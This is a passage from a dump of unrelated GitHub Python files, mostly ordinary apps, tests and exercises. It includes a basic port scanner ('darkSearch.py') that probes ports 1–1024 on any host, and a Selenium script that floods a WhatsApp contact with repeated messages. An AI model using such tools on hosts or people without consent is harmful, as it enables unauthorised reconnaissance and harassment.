questionnaire\n# so as not to put off any potential matches who may find drinking more heavily to be an undesirable trait.","repo_name":"mvmoya/date-a-scientist","sub_path":"Machine_Learning_Capstone/dating_skeleton.py","file_name":"dating_skeleton.py","file_ext":"py","file_size_in_byte":18507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"73420925957","text":"from smartcard.scard import *\nimport time\nimport requests\nimport os, json\nimport utils\n\ndef polling_nfc():\n hresult, hcontext = SCardEstablishContext(SCARD_SCOPE_USER)\n assert hresult == SCARD_S_SUCCESS\n hresult, readers = SCardListReaders(hcontext, [])\n assert len(readers) > 0\n reader = readers[0]\n\n has_card = False\n while True:\n try:\n hresult, hcard, dwActiveProtocol = SCardConnect(\n hcontext,\n reader,\n SCARD_SHARE_SHARED,\n SCARD_PROTOCOL_T0 | SCARD_PROTOCOL_T1)\n\n hresult, response = SCardTransmit(hcard,dwActiveProtocol,[0xFF,0xCA,0x00,0x00,0x00])\n\n if not has_card:\n uid = \"\"\n for index in range(4):\n uid += format(response[index], 'x')\n\n r = requests.post('https://lock.dy.tongqu.me/lock-terminal/unlock/card', {\n 'hid': os.environ.get('HID'),\n 'card_uid': uid\n })\n data = json.loads(r.content)\n if data['success']:\n utils.welcome(data['data']['user']['name'])\n else:\n utils.unlock_fail(data['message'])\n has_card = True\n\n time.sleep(0.5)\n except:\n has_card = False\n time.sleep(0.5)\n pass","repo_name":"is305-smart-lock/lock-terminal","sub_path":"card.py","file_name":"card.py","file_ext":"py","file_size_in_byte":1385,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"37981886938","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\nos.environ['RESOURCE_SETTINGS_MODULE'] = 'settings'\n\nfrom flask import Flask\n\nfrom rsrc import settings, Resource\nfrom rsrc.contrib.root import Root\nfrom rsrc.contrib.db.mongo import Collection, serializer\nfrom rsrc.contrib.token import TokenAuth, TokenView\nfrom rsrc.framework.flask import add_resource, make_root\n\n\ndb = settings.DB\n\n\nclass AllowPOSTAuth(TokenAuth):\n \"\"\"Subclass `TokenAuth` to allow POST specially.\n\n In general, `TokenAuth` is enough.\n \"\"\"\n def authenticated(self, method, auth_params):\n # allow POST in any case\n # e.g.\n # 1. everyone can \"POST /users/\" to register an account\n # 2. everyone can \"POST /tokens/\" to login\n if method == 'POST':\n return True\n return super(AllowPOSTAuth, self).authenticated(method, auth_params)\n\n\nresources = [\n Resource('tokens', TokenView, auth_cls=AllowPOSTAuth),\n Resource('users', Collection, serializer=serializer,\n auth_cls=AllowPOSTAuth,\n kwargs={'db': settings.DB, 'table_name': 'user'})\n]\n\n\napp = Flask(__name__)\n\n\nif __name__ == '__main__':\n for r in resources:\n add_resource(app, r)\n\n root = Resource('root', Root, uri='/',\n kwargs={'resources': resources})\n make_root(app, root)\n\n app.run(debug=True)\n","repo_name":"RussellLuo/resource","sub_path":"demo/token-login/runserver.py","file_name":"runserver.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"62"} +{"seq_id":"74265111558","text":"print('hello')\n\n#nombre: tipo=inicializacion\n\nnumber_int: int=8 #con inicializacion\nnumber2_int: int\n\nnumber2_int=9\n\nnumber_float: float=3.8\n\nresult: int= number_int + int(number_float)\nflag2: bool = False\nflag: bool = True\ntext: str = 'mensajito'\n\nmsj = input('give me a little number')\nnumber_in: float = float(msj)\n\n#str() chr()\n\nr: range = range(6,20,3)\n\n# + - * / ** // % operadores aritmeticos\n\n# < > <= >= == != operadores relacionales\n\n# & and | or not operadores logicos\n\nch1: str = 'A'\nch2: str = 'c'\n\nnum_float: float= float (input('give me a number'))\nif num_float >= 0:\n print(num_float)\n\nelse:\n print(-num_float)\n\n\nn: int=8\nr: range = range (0,n,1)\nword: str = 'pepe'\nfor _ in word:\n print('hola')\n\nn: int=28\npal: str = 'esta linea es hermosa'\n\n\n","repo_name":"miriam31/ejemplo","sub_path":"example1.py","file_name":"example1.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"10746032364","text":"from account import Account\nfrom bank import Bank\nimport account_test\nimport bank_test\n\n\ndef main():\n print(\"Welcome to the Banking Application!\")\n\n bank = Bank()\n\n while True:\n print(\"\\nMain Menu:\")\n print(\"1. Open Account\")\n print(\"2. Deposit\")\n print(\"3. Withdraw\")\n print(\"4. Transfer\")\n print(\"5. Check Balance\")\n print(\"6. Exit Application\")\n\n choice = input(\"Enter your choice: \")\n\n if choice == \"1\":\n first_name = input(\"Enter your first name: \")\n last_name = input(\"Enter your last name: \")\n pin = input(\"Enter your PIN: \")\n bank.register(first_name, last_name, pin)\n print(\"Account successfully opened!\")\n\n elif choice == \"2\":\n account_number = input(\"Enter your account number: \")\n amount = float(input(\"Enter the amount to deposit: \"))\n bank.deposit(amount, account_number)\n print(\"Deposit successful!\")\n\n elif choice == \"3\":\n account_number = input(\"Enter your account number: \")\n pin = input(\"Enter your PIN: \")\n amount = float(input(\"Enter the amount to withdraw: \"))\n bank.withdraw(amount, account_number, pin)\n print(\"Withdrawal successful!\")\n\n elif choice == \"4\":\n from_account_number = input(\"Enter your account number: \")\n from_pin = input(\"Enter your PIN: \")\n to_account_number = input(\"Enter the recipient's account number: \")\n amount = float(input(\"Enter the amount to transfer: \"))\n bank.transfer(amount, from_account_number, to_account_number, from_pin)\n print(\"Transfer successful!\")\n\n elif choice == \"5\":\n account_number = input(\"Enter your account number: \")\n pin = input(\"Enter your PIN: \")\n balance = bank.check_balance(account_number, pin)\n print(f\"Your balance: {balance}\")\n\n elif choice == \"6\":\n print(\"Exiting the application. Goodbye!\")\n break\n\n else:\n print(\"Invalid choice. Please select a valid option.\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Jesemeil/PythonProjects","sub_path":"class_work/finance/main_operation.py","file_name":"main_operation.py","file_ext":"py","file_size_in_byte":2194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71775129476","text":"import socket\nimport subprocess\nimport sys\nfrom datetime import datetime\n# Clear the screen\nsubprocess.call('clear', shell=True)\n\ndef prRed(skk): print(\"\\033[91m {}\\033[00m\" .format(skk))\ndef prGreen(skk): print(\"\\033[92m {}\\033[00m\" .format(skk))\ndef prYellow(skk): print(\"\\033[93m {}\\033[00m\" .format(skk))\ndef prLightPurple(skk): print(\"\\033[94m {}\\033[00m\" .format(skk))\ndef prPurple(skk): print(\"\\033[95m {}\\033[00m\" .format(skk))\ndef prCyan(skk): print(\"\\033[96m {}\\033[00m\" .format(skk))\ndef prLightGray(skk): print(\"\\033[97m {}\\033[00m\" .format(skk))\ndef prBlack(skk): print(\"\\033[98m {}\\033[00m\" .format(skk))\n\nprGreen(\"====================================================\")\nprGreen(\"====================================================\")\nprRed(\"=================== DARK SEARCH ===================\")\nprGreen(\"================ Author: Eli Hacks =================\")\nprYellow(\"===================================================\")\nprYellow(\"===================================================\")\n# Ask for input\nremoteServer=input(\" [✓] Enter a remote host to scan: \")\nremoteServerIP=socket.gethostbyname(remoteServer)\n\n# Print a nice banner with information on which host we are about to scan\nprCyan(\"-\" * 60)\nprint(\"Please wait, scanning remote host\", remoteServerIP)\nprCyan(\"-\" * 60)\n\n# Check what time the scan started\nt1 = datetime.now()\n\n# Using the range function to specify ports (here it will scans all ports between 1 and 1024)\n\n# We also put in some error handling for catching errors\n\ntry:\n for port in range(1,1025): \n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n result = sock.connect_ex((remoteServerIP, port))\n if result == 0:\n print(\"Port {}: \t Open\".format(port))\n sock.close()\n\nexcept KeyboardInterrupt:\n print(\"You pressed Ctrl+C\")\n sys.exit()\n\nexcept socket.gaierror:\n prRed(\"Hostname could not be resolved. Exiting\")\n sys.exit()\n\nexcept socket.error:\n prRed(\"Couldn't connect to server\")\n sys.exit()\n\n# Checking the time again\nt2 = datetime.now()\n\n# Calculates the difference of time, to see how long it took to run the script\ntotal = t2 - t1\n\n# Printing the information to screen\nprGreen(\"Scanning Completed in: \", total)\n","repo_name":"Elite9901/darkSearch","sub_path":"darkSearch.py","file_name":"darkSearch.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"633015030","text":"import random\r\nimport torch\r\nfrom PIL import Image\r\n\r\n\r\n# Combine images with their corresponding labels\r\nclass CreateList():\r\n\r\n def __init__(self, dir_img, path_label=None, header=True, shuffle=False, train=True):\r\n self.dir_img = dir_img\r\n self.path_label = path_label\r\n self.create_list(header, shuffle, train)\r\n\r\n def create_list(self, header, shuffle, train):\r\n\r\n with open(self.path_label, 'r') as f:\r\n if header:\r\n head = f.readline() # skip header(first line)\r\n img_pairs = f.readlines()\r\n\r\n if shuffle:\r\n random.shuffle(img_pairs)\r\n\r\n self.img = []\r\n self.label = []\r\n self.filename = []\r\n\r\n for img_pair in img_pairs:\r\n img_pair = img_pair.split(',')\r\n self.filename.append(img_pair[0])\r\n self.img.append(self.dir_img + '/' + img_pair[0])\r\n if train:\r\n self.label.append(int(img_pair[1][0]))\r\n\r\n # Count number of imgs\r\n self.length = len(self.img)\r\n\r\n\r\n# Define a custom torch.Dataset\r\nclass CustomDataset(torch.utils.data.Dataset):\r\n \"\"\"Define a custom torch.Dataset.\"\"\"\r\n\r\n def __init__(self, img_list, label_list=None,transform=None):\r\n\r\n self.data = img_list\r\n self.label = label_list\r\n self.transform = transform\r\n\r\n def __getitem__(self, index):\r\n # load one sample in a time\r\n image = self.data[index]\r\n if self.label != None:\r\n target = self.label[index]\r\n else:\r\n target = None\r\n image = Image.open(image)\r\n # turn image to RGB format if it is a grayscale\r\n if image.getbands()[0] == 'L':\r\n image = image.convert('RGB')\r\n # preprocessing data\r\n if self.transform:\r\n image = self.transform(image)\r\n\r\n return image, target\r\n\r\n def __len__(self):\r\n \"\"\"Compute number of data.\"\"\"\r\n return len(self.data)","repo_name":"LouisLin725/AOI_Defect_Detection","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18448761288","text":"from .framework import (\n selenium_test,\n SeleniumTestCase,\n)\n\nPASTED_CONTENT = \"this is pasted\"\nCURRENT_HID = 1\nRELATED_HID = 2\nUNRELATED_HID = 3\n\n\nclass TestHistoryRelatedFilter(SeleniumTestCase):\n @selenium_test\n def test_history_related_filter(self):\n self.register()\n # upload (current) dataset to get related item for\n self.perform_upload_of_pasted_content(PASTED_CONTENT)\n self.history_panel_wait_for_hid_ok(CURRENT_HID)\n # create related item through a tool\n self.tool_open(\"cat\")\n self.tool_form_execute()\n self.history_panel_wait_for_hid_ok(RELATED_HID)\n # create an item unrelated to other items\n self.perform_upload_of_pasted_content(PASTED_CONTENT)\n self.history_panel_wait_for_hid_ok(UNRELATED_HID)\n\n # test related filter on current item using button: only current and related items show\n current_hda = self.history_panel_click_item_title(CURRENT_HID, wait=True)\n current_hda.highlight_button.wait_for_and_click()\n unrelated_hda = self.history_panel_item_component(hid=UNRELATED_HID)\n unrelated_hda.assert_absent_or_hidden()\n\n # test related filter on unrelated item using filterText: only unrelated item shows\n filter_element = self.history_element(\n attribute_value=\"filter text input\", scope=\".content-operations-filters\"\n ).wait_for_and_click()\n initial_value = filter_element.get_attribute(\"value\")\n assert initial_value == f\"related:{CURRENT_HID}\", initial_value\n self.history_element(attribute_value=\"reset query\", scope=\".content-operations-filters\").wait_for_and_click()\n filter_element.send_keys(f\"related:{UNRELATED_HID}\")\n current_hda.wait_for_absent()\n","repo_name":"galaxyproject/galaxy","sub_path":"lib/galaxy_test/selenium/test_history_related_filter.py","file_name":"test_history_related_filter.py","file_ext":"py","file_size_in_byte":1771,"program_lang":"python","lang":"en","doc_type":"code","stars":1194,"dataset":"github-code","pt":"62"} +{"seq_id":"72520573636","text":"# -*- coding: utf-8 -*-\nfrom scrapy.conf import settings\nimport pymongo\nfrom example_scrapy.items import filmItem,snapshotItem\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\n\nclass ExampleScrapyPipeline(object):\n def __init__(self):\n # 创建mongodb链接\n self.snapshot_coll=pymongo.MongoClient(host=settings['MONGO_HOST'])[settings['MONGO_DB']][settings['SNAPSHOT_COLL']]\n self.film_coll=pymongo.MongoClient(host=settings['MONGO_HOST'])[settings['MONGO_DB']][settings['FILM_COLL']]\n\n # 管道接收item实体保存数据库\n def process_item(self, item, spider):\n\n if type(item)==snapshotItem:\n # 列表记录item\n snapshot_item=dict(name=item['name'],pageUrl=item['pageUrl'])\n self.snapshot_coll.insert(snapshot_item)\n elif type(item)==filmItem:\n # 详情记录item\n film_item=dict(name=item['name'],picUrl=item['picUrl'],downloadUrl=item['downloadUrl'],details=item['details'])\n self.film_coll.insert(film_item)\n return item\n","repo_name":"GitHubforMatt/allpass_crawl","sub_path":"example_scrapy/example_scrapy/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"34111447781","text":"from importlib import import_module\nimport time\nimport tensorflow as tf\n\nclass BaseModel:\n '''\n BaseModel class used in initial work. It was designed to use keras functional api.\n To use class api please create its realization.\n '''\n def __init__(self, config):\n self.config = config\n if config.DISTRUBUTE_TRAIN:\n self.mirrored_strategy = tf.distribute.MirroredStrategy(\n cross_device_ops=tf.distribute.HierarchicalCopyAllReduce())\n\n #Generate the model\n try:\n model_name = config.MODEL_NAME\n print('Importing {0:s}'.format(model_name))\n module = import_module('wrist_segmentation.models.' + model_name)\n model_gen = module.model_gen\n except:\n print('Error: module {0:s} is not exist!'.format(model_name))\n\n self.iscompiled = False\n if config.DISTRUBUTE_TRAIN:\n with self.mirrored_strategy.scope():\n self.model = model_gen(config)\n else:\n self.model = model_gen(config)\n\n if 'WEIGHTS_PATH' in config.__dict__.keys() and 'FINETUNE' in config.__dict__.keys():\n if config.FINETUNE:\n if config.DISTRUBUTE_TRAIN:\n with self.mirrored_strategy.scope():\n self.compile()\n self.model.load_weights(config.WEIGHTS_PATH)\n else:\n self.compile()\n self.model.load_weights(config.WEIGHTS_PATH)\n\n print(f'Finetuning, loaded {config.WEIGHTS_PATH}')\n\n\n def summary(self):\n self.model.summary(line_length=120)\n\n def compile(self):\n if self.config.DISTRUBUTE_TRAIN:\n with self.mirrored_strategy.scope():\n self.model.compile(optimizer=self.config.OPTIMIZER(learning_rate=self.config.LR),\n loss=[self.config.LOSS],\n metrics=[self.config.METRIC])\n else:\n self.model.compile(optimizer=self.config.OPTIMIZER(learning_rate=self.config.LR),\n loss=[self.config.LOSS],\n metrics=[self.config.METRIC])\n self.iscompiled = True\n\n def train(self,train=None,valid=None,callbacks=None):\n config = self.config\n\n if not self.iscompiled:\n self.compile()\n\n start = time.time()\n if valid == None:\n validation_split = config.VALIDATION_SPLIT if 'VALIDATION_SPLIT' in config.config.keys() else 0.1\n history = self.model.fit(train[0],train[1],\n batch_size=config.BATCH_SIZE,\n epochs=config.EPOCHS,\n verbose=config.FIT_VERBOSE,\n validation_split=validation_split,\n callbacks=callbacks)\n else:\n history = self.model.fit(train,\n batch_size=config.BATCH_SIZE,\n steps_per_epoch=len(train),\n epochs=config.EPOCHS,\n verbose=config.FIT_VERBOSE,\n validation_data=valid,\n validation_steps=len(valid),\n use_multiprocessing=True,\n workers=12,\n callbacks=callbacks)\n end = time.time()\n\n self.timeoftrain = end - start\n\n print('Time of training:', self.timeoftrain)\n self.history = history\n\n def evaluate(self,model_path,test=None):\n # assert test is not None\n config = self.config\n\n if not self.iscompiled:\n # self.model.compile(optimizer=config.OPTIMIZER(lr=config.LR), loss=[config.LOSS], metrics=[config.METRIC])\n self.compile()\n\n self.model.load_weights(model_path)\n print(\"Loaded: \",model_path)\n start = time.time()\n pred = self.model.predict(test, batch_size=config.BATCH_SIZE)\n end = time.time()\n self.timeofpred = end - start\n print('Time of prediction:', self.timeofpred)\n\n return pred\n","repo_name":"vnikale/wrist-segmentation","sub_path":"wrist_segmentation/models/BaseModel.py","file_name":"BaseModel.py","file_ext":"py","file_size_in_byte":4306,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"72185453319","text":"from selenium import webdriver\n\ndriver = webdriver.Chrome(r\"C:\\Users\\Admin\\Downloads\\chromedriver.exe\")\ndriver.get('https://web.whatsapp.com/')\n\nname = input('To User: ')\nmsg = input('Message: ')\ncount = int(input('Count: '))\n\ninput('HIT ENTER BRUH NUKE EM')\n\nuser = driver.find_element_by_xpath('//span[@title = \"{}\"]'.format(name))\nuser.click()\n\nmsg_box = driver.find_element_by_class_name('_3uMse')\n\nfor i in range(count):\n\tmsg_box.send_keys(msg)\n\tbutton = driver.find_element_by_class_name('_1U1xa')\n\tbutton.click()","repo_name":"lousybrick/Web-Automation","sub_path":"whatsappspam.py","file_name":"whatsappspam.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6548013081","text":"from rest_framework import serializers\nfrom .models import Course, Category, Module, Text, Content, Image, Video, File\nfrom accounts.serializers import SnippetUserSerializer\n\n\nclass SnippetModuleSerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = Module\n fields = ['url', 'id', 'title', 'description']\n\n\nclass SnippetCourseSerializer(serializers.HyperlinkedModelSerializer):\n owner = SnippetUserSerializer(many=False, read_only=True)\n\n class Meta:\n model = Course\n fields = ['url', 'id', 'title', 'slug', 'owner', 'overview']\n extra_kwargs = {\n 'url': {'lookup_field': 'slug'},\n }\n\n\nclass ModuleSerializer(serializers.HyperlinkedModelSerializer):\n course = SnippetCourseSerializer(many=False, read_only=True)\n\n class Meta:\n model = Module\n fields = ['url', 'id', 'title', 'description', 'course', 'order', 'visible']\n\n\nclass CreateModuleSerializer(serializers.HyperlinkedModelSerializer):\n course = serializers.PrimaryKeyRelatedField(queryset=Course.objects.all())\n\n class Meta:\n model = Module\n fields = ['title', 'description', 'course', 'visible']\n extra_kwargs = {\n 'course': {'required': True},\n }\n\n def create(self, validated_data):\n owner = validated_data.get('owner')\n course = validated_data['course']\n if owner != course.owner:\n raise serializers.ValidationError(\"Owners doesn't match\")\n\n return super().create(validated_data)\n\n\nclass CourseSerializer(serializers.HyperlinkedModelSerializer):\n module_set = SnippetModuleSerializer(many=True, read_only=True)\n owner = SnippetUserSerializer(many=False, read_only=True)\n\n class Meta:\n model = Course\n fields = ['url', 'id', 'title', 'slug', 'owner', 'overview', 'updated', 'created', 'category', 'module_set']\n extra_kwargs = {\n 'url': {'lookup_field': 'slug'},\n 'category': {'lookup_field': 'slug'},\n }\n\n\nclass CreateCourseSerializer(serializers.ModelSerializer):\n class Meta:\n model = Course\n fields = ['title', 'overview', 'category']\n\n\nclass CategorySerializer(serializers.HyperlinkedModelSerializer):\n class Meta:\n model = Category\n fields = ['url', 'id', 'name', 'slug', 'parent_category']\n extra_kwargs = {\n 'url': {'lookup_field': 'slug'},\n 'parent_category': {'lookup_field': 'slug'}\n }\n\n\nclass DetailCategorySerializer(serializers.HyperlinkedModelSerializer):\n course_set = SnippetCourseSerializer(many=True, read_only=True)\n\n class Meta:\n model = Category\n fields = ['url', 'name', 'slug', 'parent_category', 'course_set']\n extra_kwargs = {\n 'url': {'lookup_field': 'slug'},\n 'parent_category': {'lookup_field': 'slug'}\n }\n\n\nclass EnrollCourseSerializer(serializers.Serializer):\n access_key = serializers.CharField()\n\n\nclass BaseContentSerializer(serializers.ModelSerializer):\n owner = SnippetUserSerializer(many=False, read_only=True)\n course = SnippetCourseSerializer(many=False, read_only=True)\n\n class Meta:\n model = Content\n fields = ['id', 'title', 'owner', 'course', 'module',\n 'visible', 'order', 'item', 'created', 'updated']\n\n def create(self, validated_data):\n owner = validated_data.get('owner')\n del validated_data['owner']\n module = validated_data['module']\n\n if owner != module.owner:\n raise serializers.ValidationError(\"Owners doesn't match\")\n\n if hasattr(self, 'item_class'):\n ItemClass = getattr(self, 'item_class')\n item = ItemClass(**validated_data.get('item'), owner=owner)\n item.save()\n validated_data['item'] = item\n else:\n raise serializers.ValidationError()\n\n return super().create(validated_data)\n\n\nclass TextSerializer(serializers.ModelSerializer):\n class Meta:\n model = Text\n fields = ['title', 'content']\n\n\nclass TextContentSerializer(BaseContentSerializer):\n item = TextSerializer(many=False)\n item_class = Text\n\n\nclass ImageSerializer(serializers.ModelSerializer):\n class Meta:\n model = Image\n fields = ['file']\n\n\nclass ImageContentSerializer(BaseContentSerializer):\n item = ImageSerializer(many=False, read_only=True)\n item_class = Image\n\n\nclass VideoSerializer(serializers.ModelSerializer):\n class Meta:\n model = Video\n fields = ['file']\n\n\nclass VideoContentSerializer(BaseContentSerializer):\n item = VideoSerializer(many=False, read_only=True)\n item_class = Video\n\n\nclass FileSerializer(serializers.ModelSerializer):\n class Meta:\n model = File\n fields = ['file']\n\n\nclass FileContentSerializer(BaseContentSerializer):\n item = FileSerializer(many=False, read_only=True)\n item_class = File\n","repo_name":"stuxbart/school-elearning-system","sub_path":"courses/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35630929246","text":"# 구현 브루트포스 백트래킹\n# https://www.acmicpc.net/problem/15686\nimport sys; input=sys.stdin.readline\nfrom itertools import combinations\nN, M = map(int, input().split())\ncity = []\nfor _ in range(N):\n city.append(list(map(int, input().split())))\n\none = []\ntwo = []\nfor x in range(N):\n for y in range(N):\n if city[x][y] == 1:\n one.append((x, y))\n elif city[x][y] == 2:\n two.append((x, y))\n\nans = []\nfor com in combinations(two, M):\n t = 0\n for x, y in one:\n dis = []\n for x1, y1 in com:\n dis.append(abs(x-x1) + abs(y-y1))\n t+=min(dis)\n ans.append(t)\nprint(min(ans))\n\n","repo_name":"minho511/algorithm_solution","sub_path":"baekjoon_python/[15686] 치킨배달.py","file_name":"[15686] 치킨배달.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"45867108307","text":"from django.shortcuts import render\nfrom ..forms import D2AForm\nfrom django.shortcuts import redirect\nfrom django.contrib.admin.views.decorators import staff_member_required\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\nfrom OPAL.models import Patient\nfrom ..models import D2A\n\n\n# Creates a D2A object and stores it in the database\n@staff_member_required(login_url=\"/login/\")\ndef D2A_create(request, id):\n patient = Patient.objects.get(id=id)\n if request.method == \"POST\":\n form = D2AForm(request.POST)\n if form.is_valid():\n task = form.save(commit=False)\n task.patient = patient\n task = form.save()\n messages.success(request, 'D2A successfully created.')\n return redirect(\"services:D2A_list\", patient.id)\n else:\n form = D2AForm()\n return render(request, \"services/D2A/create.html\", {\"form\": form, \"patient\": patient})\n\n\n# This view edits a D2A object, populates the form with\n# existing data.\n@staff_member_required(login_url=\"/login/\")\ndef D2A_edit(request, id):\n d2a = D2A.objects.get(id=id)\n if request.method == \"POST\":\n form = D2AForm(request.POST, instance=d2a)\n if form.is_valid():\n form.save()\n messages.success(request, 'D2A successfully updated.')\n return redirect(\"services:D2A_list\", id=d2a.patient.id)\n else:\n data = {\"therapist_completing_D2A\": d2a.therapist_completing_D2A, \"D2A_completion_date\": d2a.D2A_completion_date}\n form = D2AForm(initial=data)\n return render(request, \"services/D2A/edit.html\", {\"form\": form, \"D2A\": d2a})\n\n\n# Gets a list of D2A's for a given patient\n@login_required\ndef D2A_list(request, id):\n patient = Patient.objects.get(id=id)\n D2As = D2A.objects.filter(patient=patient).order_by(\"-updated_at\", \"-created_at\")\n return render(request, \"services/D2A/list.html\", {\"D2As\": D2As, \"patient\": patient})\n\n\n# Deletes a D2A from the database\n@staff_member_required(login_url=\"/login/\")\ndef D2A_delete(request, id):\n d2a = D2A.objects.get(id=id)\n d2a.delete()\n messages.error(request, 'D2A successfully deleted.')\n return redirect(\"OPAL:patient_single\", d2a.patient.id)\n","repo_name":"rcampbell1337/work-based-project","sub_path":"services/views/D2A.py","file_name":"D2A.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"420542853","text":"# -*- coding: utf-8 -*-\n\n# @Author: xyq\n# 必须满足这个数小于左右两个数相加\nif __name__ == '__main__':\n case = int(input())\n for _ in range(case):\n n = int(input())\n arr = list(map(int, input().split()))\n arr.sort()\n if arr[-1] < arr[-2] + arr[-3]:\n print(\"YES\")\n else:\n print(\"NO\")\n\n\n\n\n","repo_name":"Cassiexyq/Program-Exercise","sub_path":"笔试/网易/环.py","file_name":"环.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26040716101","text":"\nimport user\n\ndef manage_place(cur):\n print(\"\\n---------Gestion des Places--------\")\n usr_input = -1\n while(usr_input != \"0\"):\n print(\"1 : Ajouter un place\")\n print(\"2 : Supprimer un place\")\n print(\"3 : Afficher les place libres\")\n print(\"0 : Retourner vers la page précédente\")\n\n usr_input = input(\"Votre choix : \")\n \n if usr_input == \"1\":\n ajoute_place(cur)\n\n if usr_input == \"2\":\n supprime_place(cur)\n\n if usr_input == \"3\":\n afficher_libre(cur)\n\n\n\ndef ajoute_place(cur):\n cur.execute(\"SELECT idparking FROM parking\")\n res = cur.fetchone()\n tabres = []\n while res:\n tabres.append(res[0])\n res = cur.fetchone()\n print(\"parking: \",tabres)\n parking = input(\"parking choix: \")\n add_place_db(parking, cur)\n \n\n\ndef supprime_place(cur):\n parking = input(\"parking choix: \")\n delete_place_db(parking, cur)\ndef est_libre(cur):\n pass\n\ndef afficher_places(parking, cur):\n sqllib = \"SELECT * FROM place WHERE (parking = '%d' )\"%(parking)\n cur.execute(sqllib)\n res = cur.fetchone()\n while res:\n print(\"num: \",res[0],\" parking: \",res[1],\" type_vehicule: \", res[2],\" type_place: \",res[3])\n res = cur.fetchone()\n\ndef afficher_libre(cur):\n horaire_consulter = input(\"Début de l'horaire a consulter: (format YY-MM-DD hh-mm-ss)\")\n duree = input(\"Durée : \")\n sqlview = \"\"\"CREATE VIEW res_conflit AS \n SELECT numplace,parking,horaire \n FROM reservation WHERE horaire >= timestamp'{}' AND horaire<=timestamp '{}' + interval '{} hours' \"\"\".format(horaire_consulter, horaire_consulter, duree)\n cur.execute(sqlview)\n sqlclt = \"\"\"\n SELECT * FROM res_conflit as r \n RIGHT JOIN place as p \n ON r.numplace=p.num AND r.parking=p.parking \n WHERE r.horaire IS NULL \n \"\"\"\n cur.execute(sqlclt)\n print(\"\\nPlaces libres : \\n\")\n res = cur.fetchall()\n for index,row in enumerate(res):\n if index == 0:\n print(\"num place: \",row[3],\" parking: \",row[4])\n if index > 0 and (row[5]!=res[index-1][6] or row[6]!=res[index-1][6]):\n print(\"num place: \",row[3],\" parking: \",row[4])\n cur.execute(\"DROP VIEW res_conflit\")\n \n \n \ndef add_place_db(idParking, cur):\n num = user.generate_id('num', 'Place', cur)\n print(\"\\nCréation Place %d : \"%(num))\n type_vehicule = input(\"type_vehicule {vehicule_simple, camion 2_roues} : \")\n type_place = input(\"type_place {couverte, plein_air }: \")\n sqlajt = \"INSERT INTO place VALUES({},{},'{}','{}')\".format(num,idParking ,type_vehicule,type_place)\n cur.execute(sqlajt)\n \ndef delete_place_db(idParking, cur): \n print(\"\\nListe des places :\")\n afficher_places(idParking, cur)\n num = int(input(\"num choix: \"))\n cur.execute(\"DELETE FROM Reservation WHERE(parking = '%d' AND numPlace = '%d')\"%(idParking, num))\n sqlsup = \"DELETE FROM place WHERE parking={} AND num={}\".format(idParking,num)\n cur.execute(sqlsup)\n \n","repo_name":"Asperkk/NF18_projet_TD2_G6","sub_path":"Rendu_4/admin_place.py","file_name":"admin_place.py","file_ext":"py","file_size_in_byte":3027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20804372770","text":"\"\"\"\nGiven n non-negative integers a1, a2, ..., an , where each represents a point at coordinate (i, ai). n vertical lines are drawn such that the two endpoints of line i is at (i, ai) and (i, 0). Find two lines, which together with x-axis forms a container, such that the container contains the most water.\n\nThe above vertical lines are represented by array [1,8,6,2,5,4,8,3,7]. In this case, the max area of water (blue section) the container can contain is 49.\n\nExample:\n\nInput: [1,8,6,2,5,4,8,3,7]\nOutput: 49\n\"\"\"\n\n\ndef container(array):\n\n lo, hi = 0, len(array) - 1\n max_vol = 0\n\n while lo < hi:\n\n vol = (hi - lo) * min(array[lo], array[hi])\n\n if max_vol < vol:\n max_vol = vol\n\n if array[lo] < array[hi]:\n lo += 1\n else:\n hi -= 1\n\n return max_vol\n\n\narray = [1, 8, 6, 2, 5, 4, 8, 3, 7]\nans = container(array)\n","repo_name":"Yeshwanthyk/scratchpad","sub_path":"algorithms/leetcode/011_container_with_most_water.py","file_name":"011_container_with_most_water.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"19271624312","text":"class Solution:\n def buy(self,prices):\n print(\"buy\")\n if len(prices)<2:\n return 0\n imin = 